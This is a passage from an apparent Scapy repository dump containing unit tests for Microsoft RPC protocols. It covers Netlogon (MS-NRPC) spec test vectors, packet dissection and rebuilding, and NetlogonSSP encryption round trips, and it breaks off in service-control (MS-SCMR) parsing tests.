LsarEnumerateAccountsWithUserRight_Response(b'\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\t\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00*\\x02\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00 \\x02\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\x0b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\ninformation = pkt.valueof(\"EnumerationBuffer.Information\")\nassert [\n    WINNT_SID(bytes(x.valueof(\"Sid\"))).summary()\n    for x in information\n] == ['S-1-5-9', 'S-1-5-32-554', 'S-1-5-32-544', 'S-1-5-11', 'S-1-1-0']\n\n"
  },
  {
    "path": "test/scapy/layers/msrpce/msnrpc.uts",
    "content": "% MS-NRPC tests\n\n+ [MS-NRPC] test vectors\n\n= [MS-NRPC] test vectors - sect 4.2\n\nfrom scapy.layers.tls.crypto.hash import Hash_MD4\nfrom scapy.layers.msrpce.msnrpc import ComputeSessionKeyStrongKey\n\n# Clear-text SharedSecret:\nClearSharedSecret = bytes.fromhex(\"2e002f002c006e004c003e004f004c005a003600730074005e0058004b0065004d0025002e0049002d00740045006000570056006a0043005b00300036003f005d003a00510076005f0054006e0055006f003a003a00420077002c0067006000760023004a004d0036004d007100530050007500550028006e00710034003e0079006a005b0064005c002b005600700052005f00790078007500630021006700300054003600350076007a005700410042005f004200220069003c003c0053002b00340027005e003a0021002c003b002500470073002d00280022003a0020006d003e00210043004c0066006e004e00\")\n\n# OWF of SharedSecret:\nSharedSecret = Hash_MD4().digest(ClearSharedSecret)\nassert SharedSecret.hex() == \"31a590170a351fd51148b2a10af2c305\"\n\n# Client Challenge:\n\nClientChallenge = bytes.fromhex(\"3a0390a46d0c3d4f\")\n\n# Server Challenge:\nServerChallenge = bytes.fromhex(\"0c4c13d16041c860\")\n\n# Session Key:\nassert ComputeSessionKeyStrongKey(SharedSecret, ClientChallenge, ServerChallenge).hex() == \"eefe8f40007a2eeb6843d0d30a5be2e3\"\n\n= [MS-NRPC] test vectors - sect 4.3\n\nfrom unittest import mock\nfrom scapy.layers.msrpce.msnrpc import NetlogonSSP\n\n# Input\nSessionKey = bytes.fromhex(\"0cb6948805f797bf2a82807973b89537\")\nConfounder = bytes.fromhex(\"717f5076c5902bcd\")\nClearTextMessage = bytes.fromhex(\"3000000000000000000000000000000030000000000000005c005c00570049004e002d00450055003400550047003800370048003200490056002e00320033003000360066006500760032002e006e00740074006500730074002e006d006900630072006f0073006f00660074002e0063006f006d0000000000020000000000100000000000000000000000000000001000000000000000570049004e002d004400310049005400420046004d003400410038005500000085bb1511fd09786d3b61b06400000000000000000000000001000000000000000000000000000000\")\n# Expected\nFullNetlogonSignatureHeader = bytes.fromhex(\"13001a00ffff0000b37c1f0ec86468f086761f2f86f4f4c1632d1f547d2cf6ff\")\nEncryptedMessage = bytes.fromhex(\"c930c9a079d95c78bea6a3150908c11f4b68e41219bcb91680ead287da211eec66bc27df2bc9a0f4ecf25c88624e493c59cdec6bc7b08bed84b97c33138ae3c8377cb327f3ea6076da91c5d23dbf1b2f4066a455332716b7b64f2ec9a944702d20a85035de3b231a5216b7a6c9102bd17c7d6ab1b379445eb5a5276e360d3bcef93b5359d36b0006b0c10bc2fec73777816a383a4614494b7b18bc34cd5447681eb48f8132a0a08a50d752826cff068c76959d49767557e503d509fa3c18b0860a22a7e2bae50e812c5d71c31f9f1dfd143333b3043f6bf906e5d91207f1d988\")\n\n# Perform the same operation using NetlogonSSP:\n\nclient = NetlogonSSP(SessionKey=SessionKey, computername=\"DC1\", domainname=\"DOMAIN\", AES=True)\nclicontext, tok, negState = client.GSS_Init_sec_context(None)\n\nwith mock.patch('scapy.layers.msrpce.msnrpc.os.urandom', side_effect=lambda x: Confounder):\n    _msgs, sig = client.GSS_WrapEx(\n        clicontext,\n        [\n            SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=ClearTextMessage),\n        ]\n    )\n\nassert _msgs[0].data == EncryptedMessage\nassert bytes(sig)[:len(FullNetlogonSignatureHeader)] == FullNetlogonSignatureHeader\n\n= [MS-NRPC] test vectors - sect 4.3.1\n\nfrom unittest import mock\nfrom scapy.layers.msrpce.msnrpc import NetlogonSSP\n\n# Input\nRpcPDUHeader = bytes.fromhex(\"0500000310000000380138000c000000d400000001001500\")\nRpcSecTrailer = bytes.fromhex(\"44060c0003000000\")\n# Expected\nFullNetlogonSignatureHeader = bytes.fromhex(\"13001a00ffff00005d69950dfde45ae9f092ae5c3c55aacd632d1f547d2cf6ff\")\n\n# Perform the same operation using NetlogonSSP:\n\nclient = NetlogonSSP(SessionKey=SessionKey, computername=\"DC1\", domainname=\"DOMAIN\", AES=True)\nclicontext, tok, negState = client.GSS_Init_sec_context(None)\n\nwith mock.patch('scapy.layers.msrpce.msnrpc.os.urandom', side_effect=lambda x: Confounder):\n    _msgs, sig = client.GSS_WrapEx(\n        clicontext,\n        [\n            SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=RpcPDUHeader),\n            SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=ClearTextMessage),\n            SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=RpcSecTrailer),\n        ]\n    )\n\nassert _msgs[0].data == RpcPDUHeader\nassert _msgs[1].data == EncryptedMessage\nassert _msgs[2].data == RpcSecTrailer\nassert bytes(sig)[:len(FullNetlogonSignatureHeader)] == FullNetlogonSignatureHeader\n\n+ Dissect and Build full NRPC exchange\n\n# XXX in the DCE/RPC spec + MS-RPCE, padding is only supposed to be zeros\n# but for some reason it's weird 0xaaaa, 0xaabb... stuff in Windows.\n# This is ignored by all implementations, and looks like leftovers from Microsoft debugging\n# but it means parsing + rebuilding properly a packet is *slightly* different.\n# In the tests you will find several instances where we manually replace the padding with 0xAA, or similar\n# to make the output match, but it would be cool to reverse engineer the ndr lib in windows and copy\n# exactly the same debug values\n\n= [EXCH] - Load MSRPCE and bind\n\nload_layer(\"msrpce\")\nbind_layers(TCP, DceRpc, sport=40564)  # the DCE/RPC port\nbind_layers(TCP, DceRpc, dport=40564)\n\n= [EXCH] - Parse NRPC exchange (pcap)\n\npkts = sniff(offline=scapy_path('test/pcaps/dcerpc_msnrpc.pcapng.gz'), session=DceRpcSession)\n\n= [EXCH] - Check ept_map_Request\n\nfrom scapy.layers.msrpce.ept import *\n\nepm_req = pkts[2][DceRpc5].payload.payload\nassert isinstance(epm_req, ept_map_Request)\nassert epm_req.max_towers == 4\nassert epm_req.map_tower.value.max_count == 75\nassert epm_req.map_tower.value.tower_length == 75\n\ntwr = protocol_tower_t(epm_req.map_tower.value.tower_octet_string)\nassert twr.count == 5\nassert twr.floors[0].sprintf(\"%uuid%\") == 'logon'\n\n= [EXCH] - Re-build ept_map_Request from scratch\n\npkt = ept_map_Request(\n    entry_handle=NDRContextHandle(attributes=0, uuid=b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'),\n    obj=NDRPointer(\n        referent_id=1,\n        value=UUID(Data1=0, Data2=0, Data3=0, Data4=b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\n    ),\n    map_tower=NDRPointer(\n        referent_id=2,\n        value=twr_p_t(tower_octet_string=b'\\x05\\x00\\x13\\x00\\rxV4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\xcf\\xfb\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x07\\x02\\x00\\x00\\x87\\x01\\x00\\t\\x04\\x00\\x00\\x00\\x00\\x00')\n    ),\n    max_towers=4,\n    ndr64=False,\n)\n\noutput = bytearray(bytes(pkt))\nassert bytes(output) == bytes(epm_req)\n\n= [EXCH] - Check ept_map_Response\n\nepm_resp = pkts[3][DceRpc5].payload.payload\n\nassert epm_resp.entry_handle.attributes == 0\nassert epm_resp.entry_handle.uuid == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nassert epm_resp.ITowers.max_count == 4\nassert epm_resp.ITowers.value[0].value[0].value.max_count == 75\nassert epm_resp.valueof(\"ITowers\")[0].max_count == 75\nassert epm_resp.ITowers.value[0].value[0].value.tower_length == 75\nassert epm_resp.valueof(\"ITowers\")[0].tower_length == 75\n\ntwr = protocol_tower_t(epm_resp.ITowers.value[0].value[0].value.tower_octet_string)\nassert twr.floors[0].sprintf(\"%uuid%\") == 'logon'\nassert twr.floors[1].sprintf(\"%uuid%\") == 'NDR 2.0'\nassert twr.floors[1].rhs == 0\nassert twr.floors[2].protocol_identifier == 11\nassert twr.floors[3].sprintf(\"%protocol_identifier%\") == \"NCACN_IP_TCP\"\nassert twr.floors[3].rhs == 49676\nassert twr.floors[4].sprintf(\"%protocol_identifier%\") == \"IP\"\nassert twr.floors[4].rhs == \"192.168.122.17\"\n\n= [EXCH] - Re-build ept_map_Response from scratch\n\npkt = ept_map_Response(\n    entry_handle=NDRContextHandle(attributes=0),\n    ITowers=[\n        twr_p_t(tower_octet_string=b'\\x05\\x00\\x13\\x00\\rxV4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\xcf\\xfb\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x07\\x02\\x00\\xc2\\x0c\\x01\\x00\\t\\x04\\x00\\xc0\\xa8z\\x11'),\n        twr_p_t(tower_octet_string=b'\\x05\\x00\\x13\\x00\\rxV4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\xcf\\xfb\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x07\\x02\\x00\\xc2\\x03\\x01\\x00\\t\\x04\\x00\\xc0\\xa8z\\x11')\n    ],\n    ndr64=False,\n)\n\npkt.ITowers.value[0].value[0].referent_id = 0x3\npkt.ITowers.value[0].value[1].referent_id = 0x4\npkt.ITowers.max_count = 4\nassert bytes(pkt) == bytes(epm_resp)\n\n= [EXCH] - Check NetrServerReqChallenge_Request\n\nchall_req = pkts[6][NetrServerReqChallenge_Request]\nassert chall_req.valueof(\"ComputerName\") == b\"WIN1\"\nassert chall_req.PrimaryName is None\nassert chall_req.ClientChallenge.data == b\"12345678\"\n\n= [EXCH] - Re-build NetrServerReqChallenge_Request from scratch\n\npkt = NetrServerReqChallenge_Request(\n    ComputerName=b'WIN1',\n    ClientChallenge=PNETLOGON_CREDENTIAL(data=b'12345678'),\n    PrimaryName=None,\n    ndr64=False,\n)\n\nassert bytes(pkt) == bytes(chall_req)\n\n= [EXCH] - Check NetrServerReqChallenge_Response\n\nchall_resp = pkts[7][NetrServerReqChallenge_Response]\nassert chall_resp.ServerChallenge.data == b'Zq/\\xc4D\\xfeRI'\nassert chall_resp.status == 0\n\n= [EXCH] - Re-build NetrServerReqChallenge_Response from scratch\n\npkt = NetrServerReqChallenge_Response(\n    ServerChallenge=PNETLOGON_CREDENTIAL(data=b'Zq/\\xc4D\\xfeRI'),\n    ndr64=False,\n)\n\nassert bytes(pkt) == bytes(chall_resp)\n\n= [EXCH] - Check NetrServerAuthenticate3_Request\n\nauth_req = pkts[8][NetrServerAuthenticate3_Request]\nassert auth_req.PrimaryName is None\nassert auth_req.valueof(\"AccountName\") == b\"WIN1$\"\nassert auth_req.sprintf(\"%SecureChannelType%\") == \"WorkstationSecureChannel\"\nassert auth_req.valueof(\"ComputerName\") == b\"WIN1\"\nassert auth_req.ClientCredential.data == b'd:\\xb3p\\xc6\\x9e\\xf40'\nassert auth_req.NegotiateFlags == 1611661311\n\n= [EXCH] - Re-build NetrServerAuthenticate3_Request from scratch\n\npkt = NetrServerAuthenticate3_Request(\n    AccountName=b'WIN1$',\n    ComputerName=b'WIN1',\n    ClientCredential=PNETLOGON_CREDENTIAL(data=b'd:\\xb3p\\xc6\\x9e\\xf40'),\n    PrimaryName=None,\n    SecureChannelType=\"WorkstationSecureChannel\",\n    NegotiateFlags=1611661311,\n    ndr64=False,\n)\n\noutput = bytearray(bytes(pkt))\nassert bytes(output) == bytes(auth_req)\n\n= [EXCH] - Check NetrServerAuthenticate3_Response\n\nauth_resp = pkts[9][NetrServerAuthenticate3_Response]\nassert auth_resp.ServerCredential.data == b'1h\\x8d\\xb8\\xf4zH\\xaf'\nassert auth_resp.NegotiateFlags == 1611661311\nassert auth_resp.AccountRid == 1105\nassert auth_resp.status == 0\n\n= [EXCH] - Re-build NetrServerAuthenticate3_Response from scratch\n\npkt = NetrServerAuthenticate3_Response(\n    ServerCredential=PNETLOGON_CREDENTIAL(data=b'1h\\x8d\\xb8\\xf4zH\\xaf'),\n    NegotiateFlags=1611661311,\n    AccountRid=1105,\n    status=0,\n    ndr64=False,\n)\n\nassert bytes(pkt) == bytes(auth_resp)\n\n+ GSS-API NetlogonSSP tests\n~ mock\n\n= [NetlogonSSP] - Create randomness-mock context manager\n\n# mock the random to get consistency\nfrom unittest import mock\n\ndef fake_urandom(x):\n    # wow, impressive entropy\n    return b\"0\" * x\n\n_patches = [\n    # Patch all the random\n    mock.patch('scapy.layers.msrpce.msnrpc.os.urandom', side_effect=fake_urandom),\n]\n\nclass NetlogonRandomPatcher:\n    def __enter__(self):\n        for p in _patches:\n            p.start()\n    def __exit__(self, *args, **kwargs):\n        for p in _patches:\n            p.stop()\n\n= [NetlogonSSP] - RC4 - Create client and server NetlogonSSP\n\nfrom scapy.layers.msrpce.msnrpc import NetlogonSSP, NL_AUTH_MESSAGE\n\nclient = NetlogonSSP(SessionKey=b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\", computername=\"DC1\", domainname=\"DOMAIN\", AES=False)\nserver = NetlogonSSP(SessionKey=b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\", computername=\"DC1\", domainname=\"DOMAIN\", AES=False)\n\n= [NetlogonSSP] - RC4 - GSS_Init_sec_context (NL_AUTH_MESSAGE)\n\nclicontext, tok, negState = client.GSS_Init_sec_context(None)\n\nassert negState == 1\nassert isinstance(tok, NL_AUTH_MESSAGE)\nassert tok.MessageType == 0\nassert tok.Flags == 3\n\nbytes(tok)\nassert bytes(tok) == b'\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00DOMAIN\\x00DC1\\x00'\n\n= [NetlogonSSP] - RC4 - GSS_Accept_sec_context (NL_AUTH_MESSAGE->NL_AUTH_MESSAGE)\n\nsrvcontext, tok, negState = server.GSS_Accept_sec_context(None, tok)\n\nassert negState == 0\nassert tok.MessageType == 1\n\nbytes(tok)\nassert bytes(tok) == b'\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= [NetlogonSSP] - RC4 - GSS_Init_sec_context (NL_AUTH_MESSAGE->OK)\n\nclicontext, tok, negState = client.GSS_Init_sec_context(clicontext, tok)\n\nassert negState == 0\nassert tok is None\n\n= [NetlogonSSP] - RC4 - GSS_WrapEx/GSS_UnwrapEx: client sends a encrypted payload\n\ndata_header = b\"header\"  # signed but not encrypted\ndata = b\"testAAAAAAAAAABBBBBBBBBCCCCCCCCCDDDDDDDDDEEEEEEEEE\"  # encrypted\n\nwith NetlogonRandomPatcher():\n    _msgs, sig = client.GSS_WrapEx(\n        clicontext,\n        [\n            SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header),\n            SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data)\n        ]\n    )\n\nencrypted = _msgs[1].data\nassert bytes(encrypted) == b'~\\x82\\xda\\x9e>t?QA\\xe7\\x06B\\x87\\x01\\x03\\x97\\xea\\xd2\\xe9\\xc4\\xbfM$\\x95VKxivff\\x93\\x9a\\xe8\\rbe#\\xe6W\\xb4\\x82A\\xd8\\xa7\\xf7]\\xf3\\xb0\\x88'\nassert bytes(sig) == b'w\\x00z\\x00\\xff\\xff\\x00\\x00\\x9f\\xcb\\xb6s\\x8c\\x8c\\x0c*\\xa9E\\xa4\\xd1\\x85\\xee.\\xa2:\\xd7\\x99\\xdaO\\x05N '\n\ndecrypted = server.GSS_UnwrapEx(\n    srvcontext,\n    [\n        SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header),\n        SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=encrypted),\n    ],\n    sig\n)[1].data\nassert decrypted == data\n\n= [NetlogonSSP] - RC4 - GSS_WrapEx/GSS_UnwrapEx: server answers back\n\nwith NetlogonRandomPatcher():\n    _msgs, sig = server.GSS_WrapEx(\n        srvcontext,\n        [\n            SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header),\n            SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data)\n        ]\n    )\n\nre_encrypted = _msgs[1].data\nassert bytes(re_encrypted) == b'\\x9b\\xc7c\\x81\\xfbF(\\x19\\xb6>\\x08i\\x7f\\x18~H\\xd6m~\\x11K\\x83\\xb6\\x15\\x9a\\xceP\\xa1K\\x8d\\x83\\xbb\\xa7\\x0fR*J\\x89-\\xec!\\xde\\xffs)\\xd8F\\x9c@^'\nassert bytes(sig) == b'w\\x00z\\x00\\xff\\xff\\x00\\x00\\x9f\\xcb\\xb6r\\x0c\\x8c\\x0c*\\xa9E\\xa4\\xd1\\x85\\xee.\\xa2\\xdf\\x92 \\xc5\\x8a7Yh'\n\ndecrypted = client.GSS_UnwrapEx(\n    clicontext,\n    [\n        SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header),\n        SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=re_encrypted),\n    ],\n    sig\n)[1].data\nassert decrypted == data\n\n= [NetlogonSSP] - RC4 - GSS_WrapEx/GSS_UnwrapEx: inject fault\n\n_msgs, sig = client.GSS_WrapEx(\n    clicontext,\n    [\n        SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header),\n        SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data)\n    ]\n)\nencrypted = _msgs[1].data\nassert encrypted != data\nbad_data_header = data_header[:-3] + b\"hey\"\ntry:\n    server.GSS_UnwrapEx(srvcontext,\n        [\n            SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=bad_data_header),\n            SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=encrypted),\n        ],\n        sig\n    )\n    assert False, \"No error was reported, but there should have been one\"\nexcept ValueError:\n    pass\n\n= [NetlogonSSP] - AES - Create client and server NetlogonSSP\n\nfrom scapy.layers.msrpce.msnrpc import NetlogonSSP, NL_AUTH_MESSAGE\n\nclient = NetlogonSSP(SessionKey=b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\", computername=\"DC1\", domainname=\"DOMAIN\", AES=True)\nserver = NetlogonSSP(SessionKey=b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\", computername=\"DC1\", domainname=\"DOMAIN\", AES=True)\n\n= [NetlogonSSP] - AES - GSS_Init_sec_context (NL_AUTH_MESSAGE)\n\nclicontext, tok, negState = client.GSS_Init_sec_context(None)\n\nassert negState == 1\nassert isinstance(tok, NL_AUTH_MESSAGE)\nassert tok.MessageType == 0\nassert tok.Flags == 3\n\nbytes(tok)\nassert bytes(tok) == b'\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00DOMAIN\\x00DC1\\x00'\n\n= [NetlogonSSP] - AES - GSS_Accept_sec_context (NL_AUTH_MESSAGE->NL_AUTH_MESSAGE)\n\nsrvcontext, tok, negState = server.GSS_Accept_sec_context(None, tok)\n\nassert negState == 0\nassert tok.MessageType == 1\n\nbytes(tok)\nassert bytes(tok) == b'\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= [NetlogonSSP] - AES - GSS_Init_sec_context (NL_AUTH_MESSAGE->OK)\n\nclicontext, tok, negState = client.GSS_Init_sec_context(clicontext, tok)\n\nassert negState == 0\nassert tok is None\n\n= [NetlogonSSP] - AES - GSS_WrapEx/GSS_UnwrapEx: client sends a encrypted payload\n\ndata_header = b\"header\"  # signed but not encrypted\ndata = b\"testAAAAAAAAAABBBBBBBBBCCCCCCCCCDDDDDDDDDEEEEEEEEE\"  # encrypted\n\nwith NetlogonRandomPatcher():\n    _msgs, sig = client.GSS_WrapEx(\n        clicontext,\n        [\n            SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header),\n            SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data)\n        ]\n    )\n\nencrypted = _msgs[1].data\nassert bytes(encrypted) == b'\\xbf\\x1aP\\xb4\\xb54\\xe4^\\x1a\\xfe\\xf3\\x1f(\\xfa[\\xc4\\x06\\xdb_\\x1a9\\x90<r\\xe7Q\\x97\\xacR\\x823\\xee]b\\xf5\\xa0w#4n\\xaa#j\\xf0\\xc0pOe\\x88\\xf3'\nassert bytes(sig) == b'\\x13\\x00\\x1a\\x00\\xff\\xff\\x00\\x00.\\n\\x8e\\xce\\xd2\\x14\\x06W\\x978\\xe2\\xad\\x8c\\xdd\\x8ef\\xeba\\xa5\\x15\\xb2\\xc2\\xce?\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\ndecrypted = server.GSS_UnwrapEx(\n    srvcontext,\n    [\n        SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header),\n        SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=encrypted),\n    ],\n    sig\n)[1].data\nassert decrypted == data\n\n= [NetlogonSSP] - AES - GSS_WrapEx/GSS_UnwrapEx: server answers back\n\nwith NetlogonRandomPatcher():\n    _msgs, sig = server.GSS_WrapEx(\n        srvcontext,\n        [\n            SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header),\n            SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data)\n        ]\n    )\n\nre_encrypted = _msgs[1].data\nassert bytes(re_encrypted) == b'\\xf9\\xb1g\\xaf\\xb8\\x87\\x1f\\xd5\\xe0\\x12).\\x8dW\\xf1\\x0cG\\x16\\xf5\\xb4:\\xde\\x91\\xd5\\x03\\x8a#\\xa6\\xe1j[*U\\xfc\\xdb\\xfa\\x02\\xcd\\x85\\x82O\\x11\\x908\\xbd\\xf3q\\xd6>P'\nassert bytes(sig) == b'\\x13\\x00\\x1a\\x00\\xff\\xff\\x00\\x00.\\n\\x8e\\xcf\\xbek \\x84\\x978\\xe2\\xad\\x8c\\xdd\\x8efS\\x9b\\xf3DG\\xf4[\\x1c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\ndecrypted = client.GSS_UnwrapEx(\n    clicontext,\n    [\n        SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header),\n        SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=re_encrypted),\n    ],\n    sig\n)[1].data\nassert decrypted == data\n\n= [NetlogonSSP] - AES - GSS_WrapEx/GSS_UnwrapEx: inject fault\n\n_msgs, sig = client.GSS_WrapEx(\n    clicontext,\n    [\n        SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header),\n        SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data)\n    ]\n)\nencrypted = _msgs[1].data\nassert encrypted != data\nbad_data_header = data_header[:-3] + b\"hey\"\ntry:\n    server.GSS_UnwrapEx(srvcontext,\n        [\n            SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=bad_data_header),\n            SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=encrypted),\n        ],\n        sig\n    )\n    assert False, \"No error was reported, but there should have been one\"\nexcept ValueError:\n    pass\n\n= [NetlogonClient] - Build and validate authenticator - Netlogon SSP\n\nfrom unittest import mock\nfrom scapy.layers.msrpce.msnrpc import NetlogonClient, NetlogonSSP\n\nclient = NetlogonClient()\nclient.SessionKey = b'\\xec\\xee\\xda\\xb70\\xdeQ\\x98\\xa4\\xceDErt\\xcem'\nclient.ssp = NetlogonSSP(client.SessionKey, \"WKS01\", \"DOMAIN\")\nclient.ClientStoredCredential = b'\\xf8\\x890D\\x1b_\\xf2x'\n\n# Build\nwith mock.patch('scapy.layers.msrpce.msnrpc.time.time', side_effect=lambda: 1773509346):\n    authenticator = client.create_authenticator()\n    assert authenticator.Timestamp == 1773509346\n    assert bytes(authenticator) == b'a\\x18\\xa3\\xebu`3\\x84\\xe2\\x9a\\xb5i'\n\n# Verify\nauthenticator = PNETLOGON_AUTHENTICATOR(b'`6n\\xd0\\x80\\x91\"\\x06\\x00\\x00\\x00\\x00')\nclient.validate_authenticator(authenticator)\n\n= [NetlogonClient] - Build and validate authenticator - Kerberos SSP\n\nfrom scapy.layers.msrpce.msnrpc import NetlogonClient, PNETLOGON_AUTHENTICATOR\nfrom scapy.layers.kerberos import KerberosSSP\n\nclient = NetlogonClient()\nclient.ssp = KerberosSSP(UPN=\"WKS01@DOMAIN\", PASSWORD=\"Password\")\n\n# Build\nauthenticator = client.create_authenticator()\nassert bytes(authenticator) == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n# Verify\nauthenticator = PNETLOGON_AUTHENTICATOR(b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\nclient.validate_authenticator(authenticator)\n"
  },
  {
    "path": "test/scapy/layers/msrpce/msscmr.uts",
    "content": "% MS-SCMR tests\n~ needs_py38plus\n\n+ [MS-SCMR] build and dissection tests\n\n* This files are stored in the scapy-rpc extension, but included as part of Scapy's main testing suite for consistency.\n\n= [MS-SCMR] - Import [MS-SCMR]\n\nfrom scapy.config import conf\nconf.exts.load(\"scapy-rpc\")\nfrom scapy.layers.msrpce.raw.ms_scmr import *\n\n= [MS-SCMR] - Dissect ROpenServiceW_Request\n\nDATA = bytes.fromhex('00000000053914c3f0543646af7317818dbee820160000000000000016000000530065006300750072006900740079004800650061006c00740068005300650072007600690063006500000005000000')\n\npkt = ROpenServiceW_Request(DATA, ndr64=False)\nassert pkt.valueof(\"lpServiceName\") == b\"SecurityHealthService\"\nassert pkt.hSCManager.uuid == b'\\x059\\x14\\xc3\\xf0T6F\\xafs\\x17\\x81\\x8d\\xbe\\xe8 '\n\n= [MS-SCMR] - Re-Build ROpenServiceW_Request\n\npkt = ROpenServiceW_Request(\n    hSCManager=NDRContextHandle(uuid=b'\\x059\\x14\\xc3\\xf0T6F\\xafs\\x17\\x81\\x8d\\xbe\\xe8 '),\n    lpServiceName=b\"SecurityHealthService\",\n    dwDesiredAccess=5,\n    ndr64=False,\n)\nassert bytes(pkt) == DATA\n\n= [MS-SCMR] - Dissect RQueryServiceConfigW_Request\n\nDATA = bytes.fromhex('00000000d76d93463d7e9047856bbc0839ef836910100000')\n\npkt = RQueryServiceConfigW_Request(DATA, ndr64=False)\nassert pkt.cbBufSize == 4112\n\n= [MS-SCMR] - Dissect RQueryServiceConfig2W_Request\n\nDATA = bytes.fromhex('00000000d76d93463d7e9047856bbc0839ef83690100000010100000')\n\npkt = RQueryServiceConfig2W_Request(DATA, ndr64=False)\nassert pkt.dwInfoLevel == 1\nassert pkt.cbBufSize == 4112\n\n= [MS-SCMR] - Dissect RQueryServiceConfig2W_Response\n\nimport zlib\nDATA = zlib.decompress(bytes.fromhex('789ced8f4b0ec2300c05078903e408d9711d368875092d204a8b4805d7e7a5286c10127bde5876fc89ed240458026b6e8cdc39b1a72513e968488a7be924add9513723175507e941954136b261ab2951b9ab24cf5e9294be124deaacd5a87cf11a761f1b9ad93e14f5921a278eca24ceef7d657f9db7faba2fabdaceffe8a4e9871718638c31c618638c31ff4158bcce27d9e630e0'))\n\npkt = RQueryServiceConfig2W_Response(DATA, ndr64=False, request_packet=pkt)\nassert pkt.lpBuffer.max_count == 4112\nassert pkt.pcbBytesNeeded == 272\nassert 